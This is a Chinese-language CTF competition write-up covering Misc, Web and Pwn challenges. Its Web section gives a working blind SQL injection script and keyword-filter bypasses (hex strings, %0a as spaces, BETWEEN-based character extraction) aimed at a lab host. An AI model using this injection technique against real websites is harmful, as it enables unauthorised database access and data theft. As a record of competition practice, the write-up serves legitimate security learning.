安恒杯大学生信息安全竞赛暨第一届青岛市大学生信息安全竞赛WP


返回
时间 分类 作者 可见性
2025-12-05 20:15:12 分享 Thanatos 公开的

本次比赛分为理论题和CTF题两部分

理论题主要考查网络基础知识

CTF题目类型分布:

Misc:两道,简单、中等难度各一道

Web:两道,简单、中等难度各一道

Pwn:一道,官方给得中等难度

Misc

皮卡皮卡

开局给了一个压缩包,里面只有一个doc文件

用ARCHPR先暴力破解一波

得到压缩包密码是abc

然后打开文件

发现有一串base64编码后的字符串

用Cyberchef解密之后得到flag

unctf{cute_pikachu}

题目要求只提交{}里的内容,所以最终答案是

cute_pikachu

赛后发现好像是因为我WPS默认开了显示隐藏文字,所以打开就能看到base64,其他朋友都要手动设置才可以看到(

斐波那契

下载附件后只有一个txt文件,给了encryption和cipher

首先先把cipher中flag的内容用空格分开,然后跟encryption一起导入到xlsx中,做一个简单的映射表

现在有两种可能的解题思路:

第一种:

观察encryption分别是正常斐波那契数列的第几位

然后在cipher中数出对应的字符,最后拼接到一起

这样得到的答案是0af24eada49a78d97c26b57c4aeaf4d

(暂时不论1是第一位还是第二位)

第二种:

由于encryption和cipher的flag中的字符串都是32位

所以尝试把encryption的每一个数字都跟cipher的flag中的字符一一绑定

如上图所示

然后把encryption按照正常的斐波那契数列排序,得到一个答案为

0dfea24d49aa78d927bc657c4aeaf4ea

然后我们分别假设encryption中的两个1分别是第一位和第二位、第二位和第一位、第一位和第一位、第二位和第二位

经过两种猜想共八个flag的测试之后,我们得到了最终正确的flag:

ddfea24d49aa78d927bc657c4aeaf4ea

Web

贪食蛇

由于时间原因没下网页源码,先大概描述一下网页结构

访问ip后会出现一个贪吃蛇的游戏界面,用的是某个开源js代码,调用的snake.js

解题方法也很简单,应该有两种

第一种:进入开发者模式,直接在console中设置snakeLength(具体变量名忘记了)大于3500, 就得到了flag

第二种:简单浏览一下代码,会发现有一长串AAencode(也叫颜文字加密)后的字符串,然后直接拖到在线工具界面就可以得到简单的js代码,flag很明显就在代码中

(当时在电脑翻了好久的AAdecode工具,结束才想起来可以直接在console调用输出)

好黑的黑名单

(感觉这个题目的质量非常非常好,之前从来没见过这种类型的盲注)

打开题目之后f12可以发现一个很明显的id

http://172.16.70.106/show.php?id=1

尝试对其进行注入,发现有明显的过滤

一旦关键字在黑名单里,就会显示:这么坏?想让我下面给你吃吗?XD (后悔没截图)

一旦没结果,就会显示:想让我下面给你吃?

通过简单的测试发现被过滤的关键字有:

' " + = union  , < > * 空格 sleep ^ mid ascii like regexp  information_schema.tables

结果就是非常头疼,在这里卡了好久之后,想到使用between

大概说一下between:

当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个。可以通过一位一位来爆库。但是把数据库跑出来以后后面继续加上空格还是会显示1

然后就能够写脚本了。写脚本的时候还有几点得注意下:

单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过

%a0和%0a都是代表空格,用来绕过空格的过滤

附一下脚本:

import requests
import time
flag=""
c=""
for i in range(1,40):
    for a in range(33,128):
        #time.sleep(1)
        b=str(hex(a))
        id="if((select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7e),1,2)"
        url1=url+id
        res=requests.get(url1)
        if "20" in res.text:
            c+=str(hex(a-1))[2:4]
            flag+=str(chr(a-1))
            print(flag)
            break
#flag{5d6352163c30ba51f1e2c0dd08622428}
#5d6352163c30ba51f1e2c0dd08622428

运行脚本之后就得到了flag为

flag{5d6352163c30ba51f1e2c0dd08622428}

题目要求只提交{}里的内容,所以最终答案是

5d6352163c30ba51f1e2c0dd08622428

Pwn

不会。



登录后可回复。